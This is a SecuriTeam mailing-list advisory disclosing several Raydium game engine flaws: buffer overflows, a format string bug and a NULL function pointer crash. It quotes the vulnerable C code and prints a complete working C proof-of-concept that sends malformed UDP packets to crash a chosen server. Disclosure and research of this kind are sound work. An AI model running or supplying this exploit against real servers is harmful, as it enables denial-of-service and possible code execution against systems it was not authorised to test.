[NEWS] Raydium Multiple Vulnerabilities (Multiple Buffer Overflows, Format String, DoS)



The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -



Raydium Multiple Vulnerabilities (Multiple Buffer Overflows, Format
String, DoS)
------------------------------------------------------------------------


SUMMARY

" <http://raydium.org/> Raydium is a game engine. It provides a set of
functions wich allow quick and flexible games creation."

Improper handling of user input allows attackers to execute arbitrary code
or crash the server.

DETAILS

Vulnerable Systems:
* Raydium SVN revision 309 and prior

Buffer-overflow in raydium_log and raydium_console_line_add:
The logging function of Raydium is very used in all the engine.
For example everytime a client tries to join the server it logs the event
in the console:

raydium_log("network: client %i connected as
%s"/*,inet_ntoa(from->sin_addr)*/,n,name);

This useful function is affected by a buffer-overflow bug where the local
buffer str of 255 (RAYDIUM_MAX_NAME_LEN) bytes is filled using the
unsecure sprintf function.
The size of the input packet is 512 (RAYDIUM_NETWORK_PACKET_SIZE) bytes of
which 508 are available for the text to use for exploiting the
vulnerability.

From raydium/log.c:
// need to be secured
void raydium_log(char *format, ...)
{
char str[RAYDIUM_MAX_NAME_LEN];
va_list argptr;

va_start(argptr,format);
vsprintf(str,format,argptr);
va_end(argptr);

printf("Raydium: %s\n",str);
if(raydium_log_file) fprintf(raydium_log_file,"%s\n",str);
raydium_console_line_add(str);
}

Similar thing for raydium_console_line_add:

From raydium/console.c:

// need to secure this one too
void raydium_console_line_add(char *format, ...)
{
char str[RAYDIUM_MAX_NAME_LEN];
va_list argptr;
va_start(argptr,format);
vsprintf(str,format,argptr);
va_end(argptr);

raydium_console_line_last++;
if(raydium_console_line_last>=RAYDIUM_CONSOLE_MAX_LINES)
raydium_console_line_last=0;

strcpy(raydium_console_lines[raydium_console_line_last],str);
}


Format string in raydium_log:
The same raydium_log function described above is affected also by a format
string vulnerability caused by the calling of raydium_console_line_add
passing directly the text string without the required format argument:

raydium_console_line_add(str);

NULL function pointer in raydium_network_netcall_exec:
The function raydium_network_netcall_exec is called by
raydium_network_read for selecting the specific function to use for
handling the type of packet received.
The raydium_network_netcall_type array is initialized with the type -1 so
if the attacker uses the type 0xff the function will try to call
raydium_network_netcall_func which is still initialized with a NULL
pointer.
The effect is the crash of the program.

From raydium/network.c:
..
for(i=0;i<RAYDIUM_NETWORK_MAX_NETCALLS;i++)
{
raydium_network_netcall_type[i]=-1;
raydium_network_netcall_func[i]=0;
raydium_network_netcall_tcp[i]=0;
}
..

void raydium_network_netcall_exec(int type,char *buff)
{
char tmpbuff[RAYDIUM_NETWORK_PACKET_SIZE];
int i;
void (*f)(int, char*);

for(i=0;i<RAYDIUM_NETWORK_MAX_NETCALLS;i++)
if(raydium_network_netcall_type[i]==type)
{
memcpy(tmpbuff,buff,RAYDIUM_NETWORK_PACKET_SIZE);
f=raydium_network_netcall_func[i];
f(type,tmpbuff);
}
}

Buffer-overflow and invalid memory access in raydium_network_read:
The function raydium_network_read is affectd by some buffer-overflow bugs
which happen during the writing of some global variables allocated in an
array of 32 (RAYDIUM_NETWORK_MAX_SERVERS) elements.
The same function is also affected by an invalid memory access could
happen when the server sends a packet to the client containing an 8 bit id
bigger than 8 (RAYDIUM_NETWORK_MAX_CLIENTS).
Both the bugs can be exploited only versus the clients.

From raydium/network.c:
signed char raydium_network_read(int *id, signed char *type, char
*buff)
...
strcpy(raydium_network_server_list[slot].name,name);
...
strcpy(raydium_network_server_list[slot].info,info);
...
i=buff[RAYDIUM_NETWORK_PACKET_OFFSET];
strcpy(raydium_network_name[i],buff+RAYDIUM_NETWORK_PACKET_OFFSET+1);
...

Exploit:
The winerr.h header can be found at:
<http://www.securiteam.com/unixfocus/5UP0I1FC0Y.html>
http://www.securiteam.com/unixfocus/5UP0I1FC0Y.html

/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <time.h>

#ifdef WIN32
#include <winsock.h>
#include "winerr.h"

#define close closesocket
#define sleep Sleep
#define ONESEC 1000
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/param.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>

#define stristr strcasestr
#define ONESEC 1
#endif

#define VER "0.1"
#define PORT 29104
#define BUFFSZ RAYDIUM_NETWORK_PACKET_SIZE

#define RAYDIUM_NETWORK_PACKET_OFFSET 4
#define RAYDIUM_NETWORK_PACKET_SIZE 512

#define RAYDIUM_NETWORK_PACKET_DATA 1
#define RAYDIUM_NETWORK_PACKET_ERROR_NO_MORE_PLACE 2
#define RAYDIUM_NETWORK_PACKET_ATTRIB_UID 3
#define RAYDIUM_NETWORK_PACKET_REQUEST_UID 4
#define RAYDIUM_NETWORK_PACKET_INFO_NAME 5
#define RAYDIUM_NETWORK_PACKET_ACK 6
#define RAYDIUM_NETWORK_PACKET_SERVER_BEACON 7
#define RAYDIUM_NETWORK_PACKET_ODE_DATA 10
#define RAYDIUM_NETWORK_PACKET_ODE_NEWELEM 11
#define RAYDIUM_NETWORK_PACKET_ODE_REMELEM 12
#define RAYDIUM_NETWORK_PACKET_ODE_NIDWHO 13
#define RAYDIUM_NETWORK_PACKET_ODE_EXPLOSION 14
#define RAYDIUM_NETWORK_PACKET_BASE 20

int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz, int
err);
int timeout(int sock, int sec);
u_int resolv(char *host);
void std_err(void);

struct sockaddr_in peer;

int main(int argc, char *argv[]) {
int sd,
attack,
len;
u_short port = PORT;
u_char buff[BUFFSZ];

#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

setbuf(stdout, NULL);

fputs("\n"
"Raydium <= SVN 309 multiple vulnerabilities " VER "\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@xxxxxxxxxxxxx\n"
"web: aluigi.org\n"
"\n", stdout);

if(argc < 3) {
printf("\n"
"Usage: %s <attack> <host> [port(%hu)]\n"
"\n"
"Attacks:\n"
" 1 = buffer-overflow in raydium_log and
raydium_console_line_add\n"
" 2 = format string in raydium_log\n"
" 3 = NULL function pointer in raydium_network_netcall_exec\n"
// " 4 = buffer-overflow and invalid memory access in
raydium_network_read\n"
"\n", argv[0], port);
exit(1);
}

attack = atoi(argv[1]);

if(argc > 3) port = atoi(argv[3]);
peer.sin_addr.s_addr = resolv(argv[2]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;

printf("- target %s : %hu\n",
inet_ntoa(peer.sin_addr), port);

memset(buff, 0, sizeof(buff));
buff[0] = RAYDIUM_NETWORK_PACKET_REQUEST_UID;
buff[1] = 0;
*(short *)(buff + 2) = time(NULL);

switch(attack) {
case 1: {
memset(buff + RAYDIUM_NETWORK_PACKET_OFFSET, 'a',
RAYDIUM_NETWORK_PACKET_SIZE - RAYDIUM_NETWORK_PACKET_OFFSET);
} break;
case 2: {
strcpy(buff + RAYDIUM_NETWORK_PACKET_OFFSET, "%0500x");
} break;
case 3: {
buff[0] = 0xff;
} break;
default: {
printf("\nError: wrong attack number\n\n");
exit(1);
} break;
}

printf("- send malformed packet for attack %d\n", attack);
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
len = send_recv(sd, buff, RAYDIUM_NETWORK_PACKET_SIZE, buff,
sizeof(buff), 0);
if(len < 0) {
printf("- no reply from the server, it's probably crashed\n");
}
close(sd);

printf("- check server:\n");
memset(buff, 0, sizeof(buff));
buff[0] = RAYDIUM_NETWORK_PACKET_REQUEST_UID;
buff[1] = 0;
*(short *)(buff + 2) = time(NULL);
strcpy(buff + RAYDIUM_NETWORK_PACKET_OFFSET, "username");

sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
if(send_recv(sd, buff, RAYDIUM_NETWORK_PACKET_SIZE, buff,
sizeof(buff), 0) < 0 ) {
printf("\n Server IS vulnerable!!!\n\n");
} else {
printf("\n Server doesn't seem vulnerable\n\n");
}
close(sd);
return(0);
}

int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz, int
err) {
int retry,
len;

if(in && !out) {
if(sendto(sd, in, insz, 0, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
return(0);

} else if(in) {
for(retry = 3; retry; retry--) {
if(sendto(sd, in, insz, 0, (struct sockaddr *)&peer,
sizeof(peer))
< 0) std_err();
if(!timeout(sd, 1)) break;
}

if(!retry) {
if(!err) return(-1);
fputs("\nError: socket timeout, no reply received\n\n",
stdout);
exit(1);
}

} else {
if(timeout(sd, 3) < 0) return(-1);
}

len = recvfrom(sd, out, outsz, 0, NULL, NULL);
if(len < 0) std_err();
return(len);
}

int timeout(int sock, int sec) {
struct timeval tout;
fd_set fd_read;
int err;

tout.tv_sec = sec;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}

u_int resolv(char *host) {
struct hostent *hp;
u_int host_ip;

host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_int *)(hp->h_addr);
}
return(host_ip);
}

#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif

/* EoF */


ADDITIONAL INFORMATION

The information has been provided by <mailto:aluigi@xxxxxxxxxxxxx> Luigi
Auriemma.
The original article can be found at:
<http://aluigi.altervista.org/adv/raydiumx-adv.txt>
http://aluigi.altervista.org/adv/raydiumx-adv.txt



========================================


This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx


====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



Relevant Pages

  • [NEWS] Outgun Multiple Vulnerabilities (Multiple DoS, Multiple Buffer Overflows)
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Multiple Buffer Overflows) ... The buffers in which the server stores these two strings have a size of 64 ... int alen, ulen; ...
    (Securiteam)
  • [UNIX] Multiple up-imapproxy DoS Vulnerabilities
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... connections open after client has logged out, ... allows attacker to cause the server to crash by sending them when they ... extern void HandleRequest(int); ...
    (Securiteam)
  • [NT] Stronghold DoS
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... In the packet used for joining the server is locatd the client's nickname ... unsigned char *gssdkcr( ... void show_info(u_char *data, int len); ...
    (Securiteam)
  • [NT] BFCommand and Control, Battlefield 1942 and BFVietnam Multiple Vulnerabilities
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... BFCommand & Control Server Manager is ... void proxy(int sock, u_char *buff, int size); ...
    (Securiteam)
  • [EXPL] Ipswitch IMail IMAP Buffer Overflow (LOGON, Exploit)
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... * Ipswitch IMail Server 8.2 Hotfix 2 ... char* alphaEncodeShellcode(char *shellcode, int size); ...
    (Securiteam)